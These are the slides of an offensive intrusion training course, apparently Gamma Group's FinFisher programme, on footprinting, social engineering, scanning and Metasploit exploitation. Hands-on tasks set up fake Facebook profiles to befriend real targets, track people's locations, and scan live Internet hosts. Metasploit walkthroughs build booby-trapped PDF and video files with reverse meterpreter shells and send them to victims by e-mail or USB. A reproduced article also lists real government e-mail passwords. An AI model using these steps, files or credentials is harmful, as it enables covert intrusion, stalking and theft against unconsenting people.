FINFISHER: Basic IT Intrusion 2.0

FinTraining Program





WWW.GAMMAGROUP.COM

Purpose of this course

- Get an overview of existing up-to-date Tools and Techniques for different scenarios
- Understand the terms and processes of "hacking"
- Understand common attack methods



Out of Scope

• You won't get a *magic-potion* to break into environments

- You won't learn how to use automated security scanners
 - but you will understand their functionality
- You won't become an expert on the presented techniques

Requirenments

- PC/Notebook running BackTrack 5
- Basic TCP/IP networking knowledge
- Basic Windows and UNIX/Linux knowledge
- Creativity, Intelligence and Motivation(!)



- 1. Overview
- 2. <u>Footprinting</u>
- 3. <u>Server Intrusion</u>
- 4. <u>Client-Side Intrusion</u>
- 5. <u>Wireless Intrusion</u>
- 6. Wired Intrusion
- 7. <u>Web Application</u>
- 8. Miscellaneous Attacks



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- Overview
 - History
 - Scene
 - Recent Cases



Cap'n Crunch aka. John Draper

Pioneer of Phone Phreaking / Hacking

Whistle out of cereal box emulates 2600Hz (AT&T phone system)

Free Phone calls









Movie "War Games" released

Introduces "Hacking" to the public

Showing that everyone could possibly break in everywhere





Hacker `Zine "2600"

Followed by "Phrack" one year later – <u>http://www.phrack.org</u>

Regularly publishes content for hacker and phreaker







The Morris Worm

Robert T. Morris, Jr – Son of a NSA scientist

Self-replicating worm in the ARPAnet

6000 UNIX computers of universities and government were infected





Kevin Mitnick arrested - Master of Social Engineering

Hacked into several computer systems (IBM, Nokia, Motorola, Sun, ...)

Not allowed to touch computers and phones for years

Wrote two books after release in 1999

- The Art Of Deception
- The Art Of Intrusion







Cult of the Dead Cow releases "Back Orifice"

First famous Trojan Horse for Windows System

Full remote system access







Distributed Denial of Service Attacks

Takes down eBay, Amazon, CNN, Yahoo! and others for hours

http://news.cnet.com/2100-1017-236683.html



Web sites under fire							
	Hit by attack*	Approximate duration					
Yahoo	10:20 a.m. Mon.	3 hours					
Buy.com	10:50 a.m. Tues.	3 hours					
eBay	3:20 p.m. Tues.	90 minutes					
CNN.com	4:00 p.m. Tues.	110 minutes					
Amazon.com	5:00 p.m. Tues.	1 hour					
ZDNet	6:45 a.m. Wed.	3 hours					
E*Trade	5:00 a.m. Wed.	90 minutes					
Datek	6:35 a.m. Wed.	30 minutes					
*ΔII times PS	Т						





Release of BackTrack

Co-founder is founder of Gamma International GmbH

Hacking for the public

Compilation of most hacking tools in one Linux system

Around 5 Million downloads per release





WikiLeaks is publicly and internationally recognized

International non-profit organization that publishes submissions of private, secret and classified media

Sent in by anonymous news sources, news leaks and whistleblowers





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- Script-Kiddie:
 - Beginner, using tools public in the Internet, often malicious, defaces Websites
- White-Hat:
 - Professional researchers, Often former Black-Hats
- Grey-Hat:
 - Professional researcher, No criminal intent, Improving network and system security
- Black-Hat:
 - Professional cyber criminal



Scene – Communication

- Private, encrypted communication
 - Skype
 - Pidgin/Jabber + SSL/TLS
 - Mail (GPG/PGP)
 - Secure IRC / SILC
- Public communication
 - Web-Forums
 - Mailing-Lists (Bugtraq)
 - Blogs
 - Twitter
- Conferences



DEF CON

• DEF CON, in Las Vegas, is the biggest hacker convention in the United States held during summer (June-August).



Black Hat

• Black Hat is a series of conferences held annually in different cities around the world.





Scene – Conferences

Hack in the Box

• Asia's largest network security conference held annually in Kuala Lumpur, Malaysia which is now also organized in Middle East.



Chaos Communication Congress

• It is the oldest- and Europe's largest hacker conference, held by the Chaos Computer Club in Berlin.





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China hacking German Government



BERLIN GOVERNMENT COMPUTERS INFECTED WITH ESPIONAGE PROGRAMS

By Heather McPherson | Posted Aug 27, 07 5:52 AM CDT | 🔤 👺 🌆 🔢



German Chancellor Angela Merkel, right, is escorted by her

Chinese Premier Wen Jiabao during an inspection of the guard of honor at the Great Hall of the People in Beijing, China, Monday, Aug. 27, 2007.... (Associated Press) (NEWSER) – German Chancellor Angela Merkel kicked off her Chinese summit today amid highly charged reports in *der Spiegel* that the Chinese have been spying on the German government by hacking into computers in several German ministries. Scores of official computers are said to have been infected with spyware concealed in PowerPoint and Microsoft Word programs.

Information was taken daily by hackers under the direction of the Chinese military, redirected via computers in South Korea to disguise their tracks, der Spiegel claims. The spying was discovered in May, but became a political hot potato when it was made public just hours before Merkel left for Beijing.



Researcher purposefully publishes 100 Government and Embassy E-Mail Accounts

InfoWorld INFOWORLD CHANNELS A Applications SECURITY CENTRAL Sign in or Registe Test Center Technologies News White Papers A InfoWorld Home / Security Central / News / Hacks hit embassy, government e-mail accounts... AUGUST 30, 2007 Hacks hit embassy, government e-mail accounts worldwide Organizations on the list incude the foreign ministry of Iran, the Kazakh and Indian embassies in the U.S. and the Russian embassy in Sweden By Daniel Goldberg and Linus Larsson, Computer Sweden IDGSister Share or Email 🚔 Print 👘 Add a comment. 🛧 45 Recommendations Usernames and passwords for more than 100 e-mail accounts at embassies and governments worldwide have been posted online. Using the information, anyone can access the accounts that have been compromised Computer Sweden has verified the posted information and spoken to the person who posted them The posted information includes names of the embassies and governments, addresses to e-mail servers, usernames and passwords. Among the organizations on the list are the foreign ministry of Iran, the Kazakh and Indian embassies in the U.S. and the Russian embassy in Sweden Freelance security consultant Dan Egerstad posted the information. He spoke openly about the leak when Computer Sweden contacted him "I did an experiment and came across the information by accident," he said. Egerstad says he never used the information to log in to any of the compromised accounts in order not to break any laws. Computer Sweden confirmed that the login details for at least one of the accounts is correct.

Computer Sweden confirmed that the login details for at least one of the accounts is correct. Egerstad forwarded an e-mail sent on Aug. 20 by an employee at the Swedish royal court to the Russian embassy. The person who sent the e-mail, in which she declines an invitation to the Russian embassy, has confirmed that she sent the e-mail. Iran Ministry of Foreign Affairs 217.172.99.19 <u>bagheripour@mfa.gov.ir</u> amir1368 Kazakhstan Embassy in Italy 213.21.159.23 <u>kazakstan.emb@agora.it</u> rfywkth Kazakhstan Embassy in Egypt 213.131.64.229 kazaemb piramid Kyrgyztan Embassy in Iran 212.42.96.15 embiran asdfgh Kyrgyztan Embassy in kazakhstan 212.42.96.15 kaz_emb W34#eEDd Indian Embassy in Italy 212.34.224.157 m0006614 srpq86m Indian Embassy in USA 209.213.221.249 <u>esyam@mongolianembassy.us</u> temp Mongolian Embassy in USA 209.213.221.249 <u>i.mendee@mongolianembassy.us</u> temp Mongolian Embassy in USA 209.213.221.249 <u>i.mendee@mongolianembassy.us</u> temp Mongolian Embassy in USA 209.213.221.249 <u>n.tumenbayar@mongolianembassy.us</u> temp UK Visa Application Centre in Nepal 208.109.119.54 <u>vfsuknepal@vfs-uk-np.com</u> Password Kazakhstan Embassy in Japan 203.216.5.113 embkazjp nf513LeG India National Defence Academy 203.199.162.245 mis misadmin Hong Kong Human Rights Monitor 203.161.254.182 <u>po@hkhrm.org.hk</u> T5a*4V#K



Website Defacements

FBI Jobs site gets hacked

10/09/2009 Written by Marcelo Almeida (Vympel)



"The FBI (Federal Bureau of Investigation) is seeking a senior security consultant for a permanent position." This is probably the next job offer that will appear on the FBI job site (fbijobs.gov) as they got defaced yesterday.

A turkish crew, known as turkquvenligi.info, managed to exploit a SQL injection flaw and insert a record that redirected the "events" page to an image with their site name.

If you'd like to check other attacks from turkguvenligi.info click here.

Here is the mirror of the fbijobs.gov defacement

Here is the screenshot of the defacement:





Website Defacements





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Website Defacements

Attacks by month	Year 2008	Year 2009	Vear 2010
Jan	18.562	37,968	53.921
Feb	51.925	2.919	57,869
Mar	48.138	7	73,715
Apr	41.492	60.471	95.090
May	29,017	48.087	
Jun	38,445	43,569	
Jul	39.549	45.480	
Aug	74.121	83,850	
Sep	42.379	74.384	
Oct	54.971	54,462	
Nov	44.486	43,177	
Dec	34.374	50.035	



April 2011

Source:

- <u>http://www.zone-h.org/stats/ymd</u>
- <u>http://www.zone-h.org/news/id/4737</u> (Detailed Statistics for 2010)



Massive DDoS attacks target Estonia; Russia accused

By Nate Anderson | Last updated May 14, 2007 8:45 AM

Cyber-warfare on an unprecedented scale has hammered Estonian web sites for the last two weeks in the aftermath of the government's controversial decision to relocate a Soviet-era war monument from the center of Tallinn to the suburbs. Two days of rioting by ethnic Russians, who saw this as an attack on their heritage and on minority rights, quickly transitioned from the real to the virtual world, as government web sites came under

DDoS attacks so severe that many a days.

Georgia President's web site under DDoS attack from Russian hackers

By Dancho Danchev | July 22, 2008, 8:43pm PDT

Summary

From Russia with (political) love? It appears so according to a deeper analysis of the command and control servers used by the attackers. During the weekend, Georgia President's web site was under a distributed From Russia with (political) love? It appears so according to a deeper analysis of the command and control servers used by the attackers. During the

weekend, Georgia President's web site was under a distributed denial of service attack which managed to take it offline for a couple of hours. The event took place in a moment of real life tensions between Russia and Georgia, with Russia clearly demonstrating its



position against Georgia's pro-Western government. Shadowserver's comments, which originally picked up the attack first :



Stuxnet malware is 'weapon' out to destroy ... Iran's Bushehr nuclear plant?

The Stuxnet malware has infiltrated industrial computer systems worldwide. Now, cyber security sleuths say it's a search-and-destroy weapon n 23 September 2010 Last updated at 10:46 GMT may be after Iran's Bushehr nuclear power pla



Stuxnet worm 'targeted high-value Iranian assets'

By Jonathan Fildes Technology reporter, BBC News

One of the most sophisticated pieces of malware ever detected was probably targeting "high value" infrastructure in Iran, experts have told the BBC.

Stuxnet's complexity suggests it could only have been written by a "nation state", some researchers have claimed.

It is believed to be the first-known worm designed to target real-world infrastructure such as power stations, water plants and industrial units.



Some have speculated the intended target was Iran's nuclear power plant



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- Footprinting
 - Information Gathering
 - Social Engineering
 - Social Networks
 - Geolocation



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- Target profiling
- Allows to construct an attack strategy
- Passive information collection without directly accessing the target
- Professional research



- Google
 - No explanation needed. ☺





- www.netcraft.com List of web servers and software
 - Including History of changes

HETCRAFT						3		
		Site report fo	or microsof	t.com	<u>1</u>			
And British	Site	http://microsoft.com	Last re	eboot	177 days ago	Uptime graph		
etcraft Toolbar	Domain	microsoft.com		Netblock owner		Microsoft Corp		
Home	IP address	207.46.197.32		Site rank		6032		
Download Now!	Country	US		Nameserver		ns1.msft.net		
Report a Phish	Date first seen	May 1996		DNS admin		msnhst@microsoft.com		
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Glossary	Microsoft Corp One Mi	icrosoft Way Redmond WA US 98052	207.46.197.32		unknown		Microsoft-IIS/7.0	30-Jun-2010
+ Contact Us + Report a Bug	Microsoft Corp One Mi	icrosoft Way Redmond WA US 98052	207.46.232.182 Windows		Server 2003	Microsoft-IIS/6.0	28-Jun-2010	
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Getting the Most	Microsoft Corp One Mi	icrosoft Way Redmond WA US 98052	207.46.1	97.32	unknown		Microsoft-IIS/7.0	14-Jun-2010
Reporting a Phish	Microsoft Corp One Mi	icrosoft Way Redmond WA US 98052	207.46.2	32.182	Windows	Server 2003	Microsoft-IIS/6.0	10-Jun-2010



- www.archive.org Different snapshot copies of websites
 - Discover progress of the website
 - Old services and test systems are often still running
 - Retired / Fired company employees





- www.zone-h.org Digital Attacks Archive
 - Information of documented / public attacks
 - Get connected with former, successful hackers

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Information Gathering – Whois Records

- www.domaintools.com Domain Archive
 - Looks up historical ownership of a website
 - Gives registrar information for a domain + screenshot

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Information Gathering – Maltego

- Maltego
 - Data mining and information gathering tool
 - Identify key relationships between information and find unknown relationships
 - Gives an easy overview about the results





Information Gathering – Hands-On

Hands-On:





Information Gathering – Hands-On

Hands-On:

- Choose any local target
- Check target on all Search Engines
- Register Account at Maltego
- Use Maltego to gather information about the local target
 - E-Mails
 - Persons



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Table of Content



- Footprinting
 - Information Gathering
 - Social Engineering
 - Social Networks
 - Geolocation



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Social engineering uses influence and persuasion to deceive people by convincing them that the social engineer is someone he is not, or by manipulation. (Kevin D. Mitnick)

- Non-technical kind of intrusion that relies heavily on human interaction
- Often involves tricking other people to break normal security procedures
- Peoples inability to keep up with a culture that relies heavily on information technology

Example 1:





Example 2:









Example 4:



You can have all the firewalls and <u>Internet security</u> <u>software</u> in the world, but sometimes there's just no accounting for human curiosity and stupidity.

Bloomberg reports that The US Department of Homeland recently ran a test on government employees to see how easy it was for hackers to gain access to computer systems, without the need for direct network access.

Computer disks and USB sticks were dropped in parking lots of government buildings and private contractors, and 60% of the people who picked them up plugged the devices into office computers. And if the drive or CD had an official logo on it, 90% were installed.

The full report on the Homeland Security study is due to be published later this year.

STORY TOOLBOX







http://thenextweb.com/insider/2011/06/28/us-govt-plant-usb-sticks-in-security-study-60-of-subjects-take-the-bait/



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- Footprinting
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Social Networks

- Lots of different online communities
- Used for business and private life
- Messages on them are more and more alternative to E-Mails
- Information:
 - Personal Facts
 - Friends (and friends of friends)
 - Interests
 - Activities
 - Photos
- Hundred of millions people around the globe use them
- Popular community differ between countries

Social Networks

- Facebook
 - Social Network for everybody
 - 750 Million active users (July 2011)
- Twitter
 - Microblogging network
 - 200 Million active users (March 2011)
- LinkedIn
 - Business-orientated network
 - 100 Million registered users (March 2011)









Social Networks – Hands-On

Hands-On:





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Social Networks – Hands-On

Hands-On:

- Profiling a human target with previous methods
- Creating a fake account on Facebook
- Fill in a lot of realistic information (Picture, Interests, Groups, ...)
- Choose the regional, human target
- Try to add your target to your friends and many friends around your target
- Gather personal information about the target





Table of Content



- Footprinting
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- Geotagged Photos
 - Most smartphones (e.g. iPhone & Android Devices) have in-built GPS and save location to photos
 - People upload pictures to Social Networks
- Geolocation Services
 - People show their location on Social Networks to their friends
 - Foursquare
 - Twitter
 - Facebook
- Location saved on Smartphones & Tablets
 - iPad / iPhone
 - Android



Geotagged Photos

- GPS coordinates are within images and can be extracted!
- Tool called exiftool can be used to extract Metadata from images
- Example

exiftool -c "%d %d %.8f" ~/image.jpg

• To get a proper GPS coordinates format

-c "%d %d %.8f"



Geotagged Photos

• Example Facebook Photo

xaitax@w00t: -		000
File Edit View Search Terminal	Help	
xaitax@w00t:-\$ exiftool -c "Wd ExifTool Version Number File Name Directory File Size File Modification Date/Time File Permissions File Permissions File Type JFIF Version Exif Byte Order X Resolution X Resolution Resolution Unit Software GPS Version ID GPS Latitude Ref GPS Longitude Ref Image Height Encoding Process Bits Per Sample Color Components Y Cher Jou Sumpting GPS Longitude GPS Longitude GPS Longitude GPS Desition Image Sise Xaitax@w00t:-\$	<pre>%d %.8f* -/vmware/share/imgs/2.jpg : 8.15 : 2.jpg : /home/xaitax/vmware/share/imgs : 47 kB : 2011:02:20 14:10:26+04:00 : rwxr-xr-x : JPEG : image/jpeg : 1.01 : Little-endian (Intel, II) : 180 : inches : TP : 2.3.0.0 : North : East : 412 : 550 : Baseline DCT, Huffman coding : 8 : 3 : vccc+rico (1.2) : 53 4 30.00000000 N : 8 48 25.48800000 E : 53 4 30.00000000 N, 8 48 25.48800000 E : 412450</pre>	



Geotagged Photos

- "GPS Position" field can be pasted to Google Maps for Location
- Example Facebook Photo \rightarrow Google Maps





Geolocation – Hands-On

Hands-On:





Hands-On:

- Choose Facebook friends and analyze a few images
- Geolocation shown within pictures?
- Geolocation found on Google Maps?





Geolocation services

- Many Websites offer to "upload" your location
- Used for "Friend finding"
- Used on Social Networks
 - Twitter
 - Facebook



Geolocation services

- Most famous and very popular Foursquare
 - <u>http://www.foursquare.com</u>
 - Connect with friends and share your location
 - Can send these information directly to Twitter/Facebook account of a person
 - Applications for iPhone, iPad, Android, etc.





© GAMMAGROUP

Geolocation services

• Example: Foursquare & Facebook



• Example: Foursquare & Twitter





Geolocation services

- Extraction can be automated
- Tool called creepy can be used
 - <u>http://ilektrojohn.github.com/creepy/</u>
 - A Geolocation Information Aggregator
- Can automatically search through
 - Foursquare
 - Twitter
 - Flickr
 - and many more
- Facebook support is planned!



Geolocation services

- **Example Twitter Extraction** •
 - Location moving profile through timeline •
 - Hotspots .



Searching for locations .. Be patient, I am doing my best. This can take a while, please hold ...

rror while accessing http://yfrog.com/4eflovaj .The problem was : Error trying to download photo



Geolocation – Hands-On

Hands-On:





Hands-On:

- Download & Install creepy
 - aptitude install creepy
- Get familiar with the GUI
- Choose local Twitter Accounts
- Run creepy against several Targets (Can take a while)
- Geolocation shown within Twitter Account?
- Does the Target has main spots?





Location saved on Smartphones

- Many Smartphones save GPS / GSM information their Smartphones
- Android has cache.cell & cache.wifi
 - Extraction with android-locdump (root access required)
 - <u>https://github.com/packetlss/android-locdump</u>
- "LocationGate" iPhone / iPad have consolidated.db
 - Backup of this file is saved on computer via iTunes
 - Extraction with iPhoneTracker
 - <u>http://petewarden.github.com/iPhoneTracker/</u>



Location saved on Smartphones

• iPad / iPhone Example







- 1. <u>Overview</u>
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- Server Intrusion
 - Linux Basics
 - Scanning
 - Enumeration
 - Exploit Usage



Linux Basics

- Initial Kernel release in 1991 by Linus Torvalds
- Today market share
 - Server: 30% 40%
 - Desktops: 2% 5%
- Famous Linux Distributions:
 - Server: Debian
 - Desktop: Ubuntu & Fedora
- Almost full hardware support these days







Linux Basics

• Linux Directory Structure (the most important directories)

/	Top-Level Directory
/boot	Startup files and Kernel
/etc	System and Software configuration files
/home	User directories
/mnt	Mount point for external devices
/root	Home directory of root user
/tmp	Temporary files / cleaned upon reboot
/var	Storage for all variable files and temporary files (e.g. logs)
/pentest	BackTrack / FinTrack added software



- Super User Rights
 - sudo command
- Changing Directories
 - cd /pentest/
- Rename & Move File
 - *mv* oldfile.txt newfile.txt
- Edit & Read (Configuration File) with Graphical Text Editor
 - gedit /etc/passwd
- Show latest Entries (of Logfile)
 - **tail –f** /var/log/messages
- Show Network Configuration
 - ifconfig



- Remove Files
 - **rm** filename
- Remove Directories
 - **rm –r** directoryname
- Copy File
 - **cp** file.cfg_template file.cfg
- Show content of file
 - cat /etc/passwd
- Create an empty file
 - touch myfile


Advanced Shell Usage

<pre>command1 > outputfile</pre>	Redirect output of <i>command1</i> to file		
	e.g.: ls /etc/ > /root/Desktop/etclist.txt		
command1 command2	Pipe Output of <i>command1</i> to <i>command2</i>		
	e.g.: echo test md5sum		
command1 && command2	Start command2 after command1 is finished		

e.g.: ./configure && make



Linux Basics

Hands-On:





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Hands-On:

- Create a file in your *Home* directory
- Fill the file with any content
- Copy the file to */tmp*
- Change to directory /tmp
- Remove the file in */tmp*
- Pipe the input of the file in your Home directory into a file on the Desktop
- Remove both files with only one line in the command shell







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Scanning

What is network scanning?

- Host Discovery
- Port Scanning
- Version Detection
- OS Detection
- Generate a detailed network plan



Nmap (Network MAPper)

- Initial Release was 1997
- Most famous network scanner in the world
- Was extended using it's own scripting language
- Very accurate Operating System and Service Detection
- Runs on multiple systems (Windows, Linux, MacOS, UNIX, *BSD, ...)





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Scanning

Graphical Frontend – Zenmap

• With Profile Editor





Important Commands

• -sV

Performing a version detection on open ports

• -0

Performing Operating system detection (needs root privileges)

• -sC

Uses internal scripts for enumeration

• -Pn

Ignores if ICMP replies are not sent (so hosts will be scanned even if "offline")



Example output for www.microsoft.com

Zenmap Scan Tools Prof	ile Help				000
Target: www.micr	rosoft.com	▼ Profile:	-	Scan	Cancel
Command: nmap	-sV -sC -O www.microsof	t.com			
Hosts	Services	Nmap Output Ports / Hosts Topology Host Details Scans			
OS Host		nmap -sC -sV -O www.microsoft.com		: 1	Details
Command: Inmap -sV -sC -O www.microsoft.com Hosts Services OS Host • W www.microsoft.com (65.55.21.250)		<pre>Starting Nmap 5.51 (http://nmap.org) at 2011-05-01 13:46 GST Nmap scan report for www.microsoft.com (65.55.21.250) Host is up (0.0375 latency). Mot shown: 908 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 http:fuitle: Document Moved Requested resource was http://www.microsoft.com/en/us/default.aspx http:favicon:</pre>	l close	id port	
Fil	ter Hosts				



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Example output for Test Windows XP





Results?

- What kind of information did we get for each target?
- Which services are running?
- Which open ports are running?



Scanning

Hands-On:





Hands-On:

- Start Zenmap
- Scan Target within LAN
- Play with the Options from the Profile Wizard
- How do the results differ?
- Choose regional target
- Any interesting information?





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Enumeration can retrieve:

- Anonymous Access
- Default Credentials
- Default Access Rights
- User names
- Shares
- Services of networked computers



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Using Enumeration on our LAN target

- Target has Network shares
- How to get information about them?
- Zenmap can be used!
- Zenmap has integrated scripts for Enumeration in
 - ./scripts/smb-enum*.nse
- Command example:
 - nmap -p U:137,T:139 --script smb-enum-* 192.168.1.106



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Zenmap Output:





Successful Enumeration on our LAN target

- Network Shares are known
- Access needed!
- SMB4K
 - Scanning for (active) workgroups, hosts, and shares
 - Mount and Unmount of remote shares, including unmounting all shares at once
 - Access to the files of a mounted share using a file manager or terminal
 - Default login



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SMB4K Main Interface – Mount Dialog

• Share = //HOST/SHARE (see Zenmap results)





After Mounting the share can be accessed

• Maybe no *write* but *read* rights given



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Hands-On:





Hands-On:

- Start Zenmap
- Choose target within LAN
- Enumerate shares

- Install SMB4K
 - aptitude install smb4k
- Start SMB4K
- Try mounting all enumerated shares
- Which user-rights are given? Read? Write? Read & Write?





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What is an Exploit?

- Piece of software
- Takes advantage of a software bug or software vulnerability
- Extend user rights
- To get access to a remote system
- For different Applications, Platforms and Services
- Public Exploits
- Private Exploits (Zero Day / 0-day)



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- Zenmap can be used for SMB Vulnerability Scanning
- Zenmap has integrated scripts for SMB Vulnerability Scanning in
 - ./scripts/smb-check-vulns.nse
- Command example:
 - nmap -p U:137,T:139 --script smb-check-vulns 192.168.1.106



• Zenmap found SMB Vulnerability!



- Microsoft Security Bulletin: MS08-067
 - http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx



Hands-On:





Hands-On:

- Start Zenmap
- Choose target within LAN
- Use SMB Vulnerability Scanning with Target
- Repeat the same with Internet Target where SMB is enabled





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Where to find:

- Different Websites
 - SecurityFocus http://www.securityfocus.com/
 - Packet Storm http://www.packetstormsecurity.org/
 - Exploit Database http://www.exploit-db.com/
- Integrated in automated scanners
 - Nessus http://www.nessus.org/
 - Core Impact (commercial)
- Integrated in Exploit Frameworks
 - Metasploit http://www.metasploit.com/



Metasploit:

- Exploit Database
- Payload Database
- Auxiliary Database
- Powerful Post-Exploitation modules
- Powerful GUI via Armitage





Metasploit:

- Updating Database (can take a while)
 - cd /pentest/exploits/framework3/ && ./msfupdate





Metasploit – Starting Armitage

- 1. Type armitage inside a terminal
- 2. Select "Start MSF"





Armitage – The GUI

	4mtage	
Armitage View Hosts Attacks Workspaces Help	1	
 auxiliary exploit ayload apost 		
Console X		1
## ## ## #### ###### #### ##### ##### ######	### #### ## #### ## ## ## ## ## ## ## ##	A
=[metasploit v3.8.0-dev [core:3. +=[687 exploits - 357 auxiliary - +=[217 payloads - 27 encoders - 8 =[svn r12581 updated today (201)	8 api:1.0] 39 post 3 nops .05.11)	
msf >		



Hands-On:





Hands-On:

- Start Armitage
- Get familiar with the GUI
- Get familiar with the difference of
 - Exploits
 - Auxiliaries
 - Payloads
 - Post Exploitation





Metasploit – Searching for our Vulnerability

- 1. Search Bar Type in keyword
- 2. Results




Metasploit – Description & Required Options

- 1. Description
- 2. (Required) Options
- 3. Connection Type

	Attació 👋 🖉	*
Microsoft Server Service Relative Path St	ack Corruption	
This module exploits a parsing flaw in the Server Service. This module is capable o packs. The correct target must be used in the same process) from crashing. Win exploitation events, but 2003 targets wil	e path canonicalization code of NetAPI32.dll through the f bypassing NX on some operating systems and service to prevent the Server Service (along with a dozen others idows XP targets seem to handle multiple successful II often crash or hang on subsequent attempts. This is	-1 N=
Option	- Value	-
LHOST	192,168,1,110	
LPORT	6918	
RHOST	445	
SMBPIPE	BROWSER	
Targets: 0 => Automatic Targeting	(*)	
Targets: 0 => Automatic Targeting	(T)	
Targets: 0 => Automatic Targeting	(T)	
Targets: 0 => Automatic Targeting	(<u>*</u>)	



Metasploit – Required Options

- RHOST = Defining Remote Host
- RPORT = Defining Remote Port
- LHOST = Local Host (Reverse Connect needs to know where to connect to)
- LPORT = Local Port (Reverse Connect also needs to know which port to connect to)
- ... and further default options



Metasploit – Launching Exploit

- 1. Target System will be shown (including Operating System, IP address, Hostname and system account)
- 2. Session opened (Meterpreter will go into this later)





Metasploit – System Access

- 1. Change Directory to Desktop
- 2. Create File on Desktop





Metasploit – Target System – Desktop





Hands-On:





Hands-On:

- Start Metasploit Armitage
- Search for Exploit
- Choose Network Target
- Exploit SMB Service
- Create file on Desktop





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- Client-Side Intrusion
 - Overview
 - PDF File
 - Video File
 - Browser
 - DLL Hijacking



- Take advantage of vulnerabilities in client software such as:
 - PDF Reader (e.g. Acrobat Reader, FoxIT PDF Reader)
 - Media Player (e.g. VLC)
 - Web-Browser (e.g. Internet Explorer, Firefox, etc.)
- Exploit vulnerabilities in system-wide libraries used by client applications
- Often limited in time as application vendors fix bugs normally quite
- Software often has integrated auto-updates



Table of Content



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 - Browser
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- Adobe Acrobat Bundled LibTIFF Integer Overflow
 - Working on 8.0 through 8.2
 - Working on 9.0 through 9.3
 - Working on ALL platforms
- Full administrative rights
- Found in February 2010 took almost 6 months to fix
- References:
 - <u>http://www.adobe.com/support/security/bulletins/apsb10-07.html</u>
 - <u>http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0188</u>





Metasploit:

• Starting the Metasploit Framework from the Console





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• Metasploit – Choose Client Side Exploit





- Choosing Exploit:
 - use exploits/windows/fileformat/adobe_libtiff
- Show info & description of exploit
 - info
- Set payload
 - set payload windows/messagebox
- Show required and optional options
 - show options



Metasploit – Choosing Payload

- What is a Payload / Shellcode?
- Which kinds of payloads does Metasploit offer
 - TCP Connect / TCP Reverse Connect
 - Open a Remote Shell
 - Open Meterpreter Shell
 - Start VNC on Target
 - Lots more...

"\xC6\x45\xCC\x72"	// mov	byte ptr [ebp-34h],72h
"\x8D\x45\xF8"	// lea	eax,[ebp-8]
"\x50"	// push	eax
"\xB9\x91\x94\x31\x77"	// mov ecx,	<pre>// Address for LoadLibraryA</pre>
"\xFF\xD1"	// call	ecx
"\x8D\x45\xD0"	// lea	eax,[ebp-30h]
"\x50"	// push	eax
"\xB9\xE7\x53\x38\x77"	// mov ecx, //	/ Address for WinExec on Windo
"\xFF\xD1"	// call	ecx
"\x8D\x45\xA0"	// lea	eax,[ebp-60h]
"\x50"	// push	eax
"\xB9\xE7\x53\x38\x77"	// mov ecx, //	/ Address for WinExec on Windo
"\xFF\xD1"	// call	ecx
"\x33\xD2"	// xor	edx,edx
"\x52"	// push	edx



Metasploit – Options

- Module options
- Payload options





- Creating the File
 - exploit





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Hands-On:





Hands-On:

- Start Metasploit Console
- Get familiar with the Console
- Recreate the PDF Exploit





- We have the Exploit
- Missing?

Distribution of the PDF Exploit

- E-Mail
- USB
- Website Upload
-



Target has Adobe 9.3.0 installed





Target checks Exploit PDF – it's a regular PDF file!



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Target executes the Exploit PDF



- MessageBox appears with our predefined text
- This MessageBox could be a trojan!



Hands-On:





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Hands-On:

- Distribute the Exploit PDF
- Wait for execution
- Did the Exploit work?





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Table of Content



- Client-Side Intrusion
 - Overview
 - PDF File
 - Video File
 - Browser
 - DLL Hijacking



- VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow
 - Working on ALL VLC <= 1.1.8
 - Working on ALL Windows
- Full administrative rights
- Found in April 2011
- Remote Code Execution
- References:
 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-1574
 - <u>https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt</u>





Setting Options

• Exploit:

use exploit/windows/fileformat/vlc_modplug_s3m

• Payload:

set payload windows/meterpreter/reverse_tcp

• Meterpreter?



Meterpreter

- Advanced Shell with additional features
- Escalate system privileges
- Process Migration
- Post Exploitation Modules
- Keylogging
- File System Access
- Etc...



• Setting Options





• Creating the Exploit

• Options:

set FILENAME evil.mkv

set OUTPUTPATH /root/

```
set LHOST 192.168.1.103
```

```
xaitax@w00t; ~/tools/metasploit
File Edit View Search Terminal Help
msf exploit(vlc webm) > set FILENAME evil.mkv
FILENAME => evil.mkv
msf exploit(vlc webm) > set OUTPUTPATH /home/xaitax/Desktop/
OUTPUTPATH => /home/xaitax/Desktop/
msf exploit(vlc_webm) > set LHOST 192.168.1.103
LHOST => 192.168.1.103
msf exploit(vlc_webm) > exploit
[*] Creating 'evil.mkv' file ...
[*] Generated output file /home/xaitax/Desktop/evil.mkv
msf exploit(vlc_webm) > ls -lah ~/Desktop/
[*] exec: ls -lah ~/Desktop/
total 6.1M
drwxr-xr-x 2 xaitax xaitax 4.0K 2011-02-11 10:09 .
drwxr-xr-x 53 xaitax xaitax 4.0K 2011-02-11 10:06 ...
-rw-r--r-- 1 xaitax xaitax 6.1M 2011-02-11 10:09 evil.mkv
-rw----- 1 xaitax xaitax 1.1K 2008-08-08 11:31 karma.rc
msf exploit(vlc webm) >
```



Hands-On:





Hands-On:

- Start Metasploit Console
- Get familiar with the Console
- Recreate the Video Exploit





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- We have the Exploit Video File
- Missing?
 - Missing listening connection
 - How do we distribute the Exploit Video File?
 - How do we know the Exploit Video was executed?

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.101 E

Powerful command line interface for the Metasploit Framework

./msfcli

The selected module

exploit/multi/handler

The payload being used

PAYLOAD=windows/meterpreter/reverse_tcp

Defining the local host

LHOST=192.168.1.101

Execution of the module

E


Client-Side Intrusion – Video File

• We create a shell which listens on the local host for a connection



• With windows/meterpreter/reverse_tcp now

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Now we need to distribute the Video Exploit to the Target

- E-Mail
- USB
- Website Upload
-



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Client-Side Intrusion – Video File

• Target has VLC 1.1.6 installed





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Target checks Exploit Video File – it's a regular video file!





Client-Side Intrusion – Video File

Target executed Exploit Video File – Meterpreter Shell!

+ xaitax@w00t: ~/tools/metasploit	- + x
Elle Edit View Terminal Help	
<pre>xaitax@w00t:~/tools/metasploit\$./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/r [*] Please wait while we load the module tree [*] Started reverse handler on 192.168.1.112:4444 [*] Starting the payload handler [*] Sending stage (748544 bytes) to 192.168.1.123 [*] Meterpreter session 1 opened (192.168.1.112:4444 -> 192.168.1.123:2064)</pre>	everse_tcp LHOST=192.168.1.112 E
meterpreter > sysinfo	
Computer: FFDEMO	
OS : Windows XP (Build 2600, Service Pack 3).	
